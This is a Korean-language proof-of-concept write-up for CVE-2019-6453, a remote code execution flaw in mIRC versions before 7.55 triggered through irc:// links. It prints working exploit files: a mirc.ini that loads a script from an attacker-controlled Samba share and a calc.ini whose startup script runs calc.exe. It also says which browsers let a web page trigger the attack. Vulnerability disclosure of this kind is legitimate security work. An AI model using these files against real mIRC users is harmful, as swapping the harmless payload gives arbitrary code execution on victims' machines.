
Proof of calc for CVE-2019-6453
mIRC에서 irc:// URI 프로토콜 핸들러를 통해 원격 코드 실행(Remote Code Execution) 취약점을 발견했습니다. mIRC는 인수 목록의 끝을 표시하기 위해 -- 같은 시길을 사용하지 않기 때문에, 공격자는 irc:// 링크를 통해 mIRC에 인수를 전달하고 공격자가 제어하는 Samba 파일 서버에서 사용자 정의 mirc.ini를 로드하여 임의 코드를 실행할 수 있습니다. **ircs://**도 동일하게 작동합니다.
증명에 필요한 파일은 mirc.ini, calc.ini, poc.html 세 가지입니다. 공격자 측에서 Samba 파일 서버가 실행 중이라고 가정합니다. 예제를 위해 다음 코드들은 호스트 127.0.0.1에서 실행 중임을 가정합니다 (즉, 아래 파일에서 127.0.0.1을 자신의 서버 주소로 바꾸어 시도해 보십시오).
mirc.ini는 파일 서버의 C:\mirc-poc\mirc.ini에 위치해야 하는 사용자 정의 구성 파일입니다.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini는 파일 서버의 C:\mirc-poc\calc.ini에 위치해야 하는 원격 스크립트 파일입니다.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
poc.html을 방문하기만 하면 mIRC가 irc:// URI 스킴의 기본 핸들러로 설정되어 있고 브라우저가 페이로드를 인코딩하지 않는 경우 작동합니다. 브라우저와 구성에 따라 프롬프트가 표시될 수도 있습니다 (Firefox의 경우는 아님).

이 PoC는 mIRC <7.55에서 실행됩니다.
Edge 42.17134 (마지막 미리보기 버전) 및 Firefox 64.0.2 (마지막 릴리스)에서 PoC를 트리거할 수 있습니다. Chrome에서는 URI 프로토콜을 처리하는 방식 (URI가 애플리케이션에 전달되기 전에 인코딩됨) 때문에 작동하지 않습니다.